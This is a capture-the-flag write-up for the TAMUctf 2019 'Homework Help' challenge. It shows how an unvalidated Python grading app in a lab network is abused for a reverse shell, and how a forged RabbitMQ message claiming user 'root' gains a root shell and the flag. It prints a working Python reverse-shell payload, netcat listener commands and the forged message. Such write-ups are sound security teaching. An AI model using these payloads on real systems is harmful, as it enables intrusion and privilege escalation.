[TAMUctf 2019] [Network 500 – Homework Help] Write Up

Description

Could you help me with my homework? I think the professor’s solution is broken.

Difficulty: hard

Resource: OpenVPN configuration


This challenge is about escaping the context of the web application and crafting a special RabbitMQ communication to elevate privileges (and get the flag).
All the scripts described below can be found on my github : Ektoplasma’s Github.

Resolution

First of all, we use the OpenVPN configuration attached to the challenge description.
# openvpn homework.ovpn

Then we scan the 172.30.0.0/28 subnet:

Nmap scan report for 172.30.0.2
Host is up (0.15s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 172.30.0.3
Host is up (0.15s latency).
All 1000 scanned ports on 172.30.0.3 are closed

Nmap scan report for 172.30.0.4
Host is up (0.15s latency).
All 1000 scanned ports on 172.30.0.4 are closed

Nmap scan report for deadlock (172.30.0.14)
Host is up (0.00013s latency).

There are three other hosts on the subnet, 172.30.0.14 is our host.

The host with IP address 172.30.0.2 serves a web application. Let’s check that out:

Figure 1 – Web application

This seems to be a coding exercise that you can submit and see the result. Here are the few statements that we can do:

1 – We are already logged in as Alice, and the Logout feature is not implemented despite the button,

2 – The first text box allows us to type some Python code,

3 – The second text box prints the results of test routines, evaluating our top_word(sentence) function.

After playing around with the app (I spare you the tests) it seems that it is writing the input code in a file and executing it as Alice, on the system. The interesting part here is that there is no validation on the input, so we decide to put some code allowing us to get a reverse shell:

Figure 2 – Python reverse shell

On our side, we can now enjoy our remote shell:

# nc -l -vv -p 172.30.0.14 8173
Listening on [172.30.0.14] (family 0, port 8173)
Connection from 172.30.0.3 45456 received!
/home/alice $ whoami
alice

As we expected to see the host 172.30.0.2 connecting back to us, we are a bit surprised to see that it is actually the host 172.30.0.3. Let’s execute a few commands on this host to see what is its purpose.

/home/alice $ ls -al
total 8
drwxr-sr-x    4 alice    student        101 Mar  3 16:45 .
drwxr-xr-x    1 root     root            19 Mar  3 16:45 ..
drwxr-sr-x    3 alice    student         70 Mar  3 16:45 .pytest_cache
drwxr-sr-x    2 alice    student         92 Mar  3 16:50 __pycache__
-rw-r--r--    1 alice    student        240 Mar  3 16:50 assignment_one.py
-rw-r--r--    1 alice    student       1510 Mar  3 16:45 test_assignment_one.py
/home/alice $ ps
PID   USER     TIME  COMMAND
    1 root      0:00 python -m grader
   22 alice     0:00 /usr/local/bin/python -m pytest -q test_assignment_one.py
   23 alice     0:00 /bin/sh -i
   27 alice     0:00 ps
/home/alice $ ls /root
ls: can't open '/root': Permission denied

There is no flag, but we can see two files :

      • assignment_one.py : The file containing our input code,
      • test_assignment_one.py : The test routines for top_word.

Moreover, a process running as root catches our attention: python -m grader.
We decide to collect the grader module located in /usr/local/grader/ and quickly read its code to understand what it is (.py files in my github).
It turns out that this is the application responsible for evaluating our Python code and running tests against it. But in the context of the user Alice. How is it communicating with the web server?
The following code in the main function shows that it is connecting to a RabbitMQ server on the submissions channel, in order to receive the code collected by the web server, and send the results of the tests.

MQ_SERVER = os.environ.get("MQ_SERVER", "localhost")
MQ_PORT = int(os.environ.get("MQ_PORT", 5671))
#snipped
def main():
    # snipped

    conn = pika.BlockingConnection(pika.ConnectionParameters(
        host=MQ_SERVER,
        port=MQ_PORT,
        ssl=MQ_SSL,
        ssl_options=ssl_opts,
        heartbeat=0,
        blocked_connection_timeout=60,
        connection_attempts=10,
        retry_delay=3
    ))
    logger.info("connected to message queue at %s:%d", MQ_SERVER, MQ_PORT)

    grader = Grader(conn)

Pika is the major Python client for RabbitMQ. If it is unclear, I strongly advise to read the sort introduction on their website : RabbitMQ Python Introduction.

Let’s see where the RabbitMQ server is hosted:

/home/alice $ netstat -laputen
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
[...]
tcp        0    104 172.30.0.3:45456        172.30.0.14:8173        ESTABLISHED 22/python
tcp        0      0 172.30.0.3:34106        172.30.0.4:5671         ESTABLISHED -
[...]
/home/alice $ echo $MQ_SERVER
queue
/home/alice $ nslookup queue
Name:      queue
Address 1: 172.30.0.4 0x90r00t_homework_queue_1.0x90r00t_homework_default

Nice, our last host, 172.30.0.4, is hosting the RabbitMQ instance, delivering messages between the web server and the grader application:

Figure 3 – Homework Network (our workstation not included)

What should we do next ? We definitely want to see what is inside the root directory. Our first thought is to check how we send our code to the web server and see if we can modify the user context. In the JQuery code, we notice that the submission is formatted as the following :

  $('#submit').click(function() {
    $('#output').text('')
    $('#code-area').map(function() {
      if (this.value && this.value.length > 0) {
        socket.emit('submit', {code: this.value});
      }
    });
  });
/* Example of submission sent:
42["submit",{"code":"print(\"Hello world!!\")"}]
*/

No user information here. Now we must subscribe to the RabbitMQ submissions channel and capture one submission. After some minutes of  scripting and reading the documentation of Pika, we can subscribe and publish to the channel, from our workstation. We could just read the grader python code to understand how it is formatted, but here is one message we captured:

# python3 recv.py
b'{"user": "alice", "assignment": "assignment_one", "code": "print(\\"Hello world!!\\")"}'

There you are ! We already know that we can’t execute commands with root privileges if we are Alice. Indeed, if we read the code of grader, we notice that assignment_one.py is created as the user collected on the message, and then test_assignment_one.py is executed also in the context of the user (uid and gid). So we just need to publish a valid message with the user root instead of alice in order to elevate our privileges.
After some adjustment on publ.py (you have to set correct properties, or grader will refuse your message, check my code) we can finally send a valid message to get a reverse shell as root:

{"user": "root", "assignment": "assignment_one", 
"code": "MY_IP=\\"172.30.0.14\\"\\nMY_PORT=8173\\n
import socket,subprocess,os\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n
s.connect((MY_IP,MY_PORT));os.dup2(s.fileno(),0)\\nos.dup2(s.fileno(),1)\\nos.dup2(s.fileno(),2)\\n
p=subprocess.call([\\"/bin/bash\\",\\"-i\\"])"}

Now we can enjoy a remote shell as root, and notice our old friend flag.txt, anxiously waiting to be read:

# nc -l -vv -s 172.30.0.14 -p 8173
Listening on [172.30.0.14] (family 0, port 8173)
Connection from 172.30.0.3 45890 received!
/home/root # ls
__pycache__
assignment_one.py
flag.txt
test_assignment_one.py
/home/root # cat flag.txt
gigem{a_chain_is_only_as_strong_as_its_weakest_leporidae}
/home/root # \o/

Flag was gigem{a_chain_is_only_as_strong_as_its_weakest_leporidae}.

The things we tried that did not work, or could have tried

  • We tried to craft a WebSocket communication by ourselves in order to insert some buggy char, but we could not even manage to initiate a connection (we first needed to “upgrade” the HTTP connection into WebSocket protocol, some evil shit).
  • We could have done ARP spoofing in order to impersonate the RabbitMQ instance, and read the submission sent by the web server, but we would not be able to modify the message itself anyway, because of AMQP implementation (it is not impossible but it seems quite complicated). Of course, anybody could publish and subscribe to the submissions channel so we did not explore this technique.

I will happily read your comments down there if you want to.

ekt0

2 thoughts on “[TAMUctf 2019] [Network 500 – Homework Help] Write Up”

Leave a Reply

Your email address will not be published. Required fields are marked *